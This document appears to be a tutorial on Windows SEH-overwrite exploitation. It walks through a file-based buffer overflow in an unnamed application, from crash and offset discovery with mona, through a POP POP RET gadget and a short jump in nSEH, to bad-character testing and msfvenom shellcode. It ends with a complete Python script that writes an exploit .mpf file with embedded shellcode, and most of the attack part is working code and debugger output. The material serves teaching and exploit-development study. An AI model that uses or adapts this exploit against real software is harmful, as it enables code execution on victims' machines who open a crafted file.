Structured Exception Handling (SEH) is Windows’ mechanism for handling exceptions. When the stack is overflowed far enough to corrupt the SEH chain, we can hijack exception handling to gain code execution.
Understanding SEH
SEH Chain Structure
Exception Registration Record:
+0x00: Pointer to next SEH record (nSEH)
+0x04: Pointer to exception handler (SEH)When an exception occurs:
- Windows walks the SEH chain
- Each handler is called until one handles the exception
- By corrupting the chain, we control execution
Exploitation Strategy
- Overflow buffer to corrupt SEH chain
- Trigger an exception
- Windows calls our controlled handler address
- Use POP POP RET gadget to redirect to nSEH
- nSEH contains a short jump to shellcode
Initial Analysis
Create Exploit Skeleton
For file-based exploits:
file = "exploit.mpf"
buffer = b"A"*4700
f = open(file, "wb")
f.write(buffer)
f.close()
print("[+] File saved as " + file)Trigger the Crash
Open the malicious file in the target application. In Immunity Debugger:
- View -> SEH chain
The chain should show corrupted entries.
Finding the Offset
Generate Pattern
!mona pattern_create 4700Locate SEH Offset
After crashing with the pattern, check SEH chain:
SE Handler: 46326846!mona pattern_offset 46326846Pattern Fh2F (0x46326846) found at position 4116Calculate nSEH Offset
The SEH structure is:
- nSEH (4 bytes)
- SEH (4 bytes)
So nSEH starts at: 4116 - 4 = 4112
Verify Control
buffer = "A"*4112
buffer += "BBBB" # nSEH
buffer += "CCCC" # SEH
buffer += "D"*400SEH Chain:
Address SE handler
0012F91C 43434343
42424242 *** CORRUPT ENTRY ***Pass exception to program (Shift+F9):
EIP: 43434343Finding SEH Gadget
We need a POP POP RET sequence from a module without SafeSEH:
!mona sehChoose an address without ASLR/SafeSEH:
0x77ec9cb7 : pop edx # pop eax # ret | kernel32.dll
ASLR: False, SafeSEH: FalseCrafting the Exploit
The Jump Obstacle
Examine the stack near our SEH record:
0012F91C 42424242 BBBB <- nSEH
0012F920 43434343 CCCC <- SEH (POP POP RET)
0012F924 44444444 DDDD
...
0012F934 00000000 .... <- Null bytes (obstacle)
0012F938 44444444 DDDDThere are null bytes after our buffer. We need to jump over them.
Short Jump in nSEH
Use a short jump instruction to skip over obstacles:
\xeb\x22 = JMP SHORT +0x22 (34 bytes forward)Pad to 4 bytes:
\xeb\x22\x90\x90 = JMP +34; NOP; NOPTest Payload
buffer = "A"*4112
buffer += "\xeb\x22\x90\x90" # nSEH: JMP +34 bytes
buffer += "\xb7\x9c\xec\x77" # SEH: POP POP RET
buffer += "\x90"*50 # NOP sled
buffer += "\xcc" # INT3
buffer += "D"*350Identifying Bad Characters
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
# ... all bytes except \x00
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = "A"*4112
buffer += "\xeb\x22\x90\x90"
buffer += "\xb7\x9c\xec\x77"
buffer += "\x90"*50
buffer += "\xcc"
buffer += badchars
buffer += "D"*200Examine memory after the INT3. Look for truncation or corruption.
Bad characters found: \x00\x0a\x0d\x1a
Generating Shellcode
msfvenom -p windows/exec cmd=calc.exe \
-b "\x00\x0a\x0d\x1a" \
-f cComplete Exploit
file = "exploit.mpf"
shellcode = (
b"\xbd\xaa\xf4\xa0\x85\xd9\xcb\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
b"\x31\x83\xea\xfc\x31\x6a\x0f\x03\x6a\xa5\x16\x55\x79\x51\x54"
b"\x96\x82\xa1\x39\x1e\x67\x90\x79\x44\xe3\x82\x49\x0e\xa1\x2e"
b"\x21\x42\x52\xa5\x47\x4b\x55\x0e\xed\xad\x58\x8f\x5e\x8d\xfb"
b"\x13\x9d\xc2\xdb\x2a\x6e\x17\x1d\x6b\x93\xda\x4f\x24\xdf\x49"
b"\x60\x41\x95\x51\x0b\x19\x3b\xd2\xe8\xe9\x3a\xf3\xbe\x62\x65"
b"\xd3\x41\xa7\x1d\x5a\x5a\xa4\x18\x14\xd1\x1e\xd6\xa7\x33\x6f"
b"\x17\x0b\x7a\x40\xea\x55\xba\x66\x15\x20\xb2\x95\xa8\x33\x01"
b"\xe4\x76\xb1\x92\x4e\xfc\x61\x7f\x6f\xd1\xf4\xf4\x63\x9e\x73"
b"\x52\x67\x21\x57\xe8\x93\xaa\x56\x3f\x12\xe8\x7c\x9b\x7f\xaa"
b"\x1d\xba\x25\x1d\x21\xdc\x86\xc2\x87\x96\x2a\x16\xba\xf4\x20"
b"\xe9\x48\x83\x06\xe9\x52\x8c\x36\x82\x63\x07\xd9\xd5\x7b\xc2"
b"\x9e\x2a\x36\x4f\xb6\xa2\x9f\x05\x8b\xae\x1f\xf0\xcf\xd6\xa3"
b"\xf1\xaf\x2c\xbb\x73\xaa\x69\x7b\x6f\xc6\xe2\xee\x8f\x75\x02"
b"\x3b\xec\x18\x90\xa7\xdd\xbf\x10\x4d\x22"
)
buffer = b"A"*4112
buffer += b"\xeb\x22\x90\x90" # nSEH: JMP +34
buffer += b"\xb7\x9c\xec\x77" # SEH: POP POP RET
buffer += b"\x90"*50 # NOP sled
buffer += shellcode
buffer += b"D"*(350-len(shellcode))
f = open(file, "wb")
f.write(buffer)
f.close()
print("[+] File saved as " + file)Execution Flow
1. Buffer overflow corrupts SEH chain
2. Access violation triggers exception
3. Windows calls handler at 0x77ec9cb7 (POP POP RET)
- POP EDX ; pops value
- POP EAX ; pops value
- RET ; returns to nSEH location
4. nSEH contains JMP +34
- Jumps over obstacle bytes
5. Lands in NOP sled
6. Shellcode executesBuffer Layout
| Junk | nSEH | SEH | NOPs | Shellcode | Pad |
4112 B 4 B 4 B 50B ~220B Rest
| |
| +-> POP POP RET
|
+-> JMP +34 (jumps over SEH and obstacle)SafeSEH Bypass
Modern systems have SafeSEH. To bypass:
- Use modules compiled without SafeSEH
- Check with mona:
!mona modules - Look for
SafeSEH: False
Troubleshooting
Exception Not Triggering
Add code that causes an exception:
# After overflow, add many bytes to cause access violation
buffer += "X"*10000Handler Not Called
Verify SEH chain is properly corrupted. The first handler in the chain must point to your gadget.
Jump Distance
Calculate exact jump distance by examining the stack layout. The obstacle bytes may vary.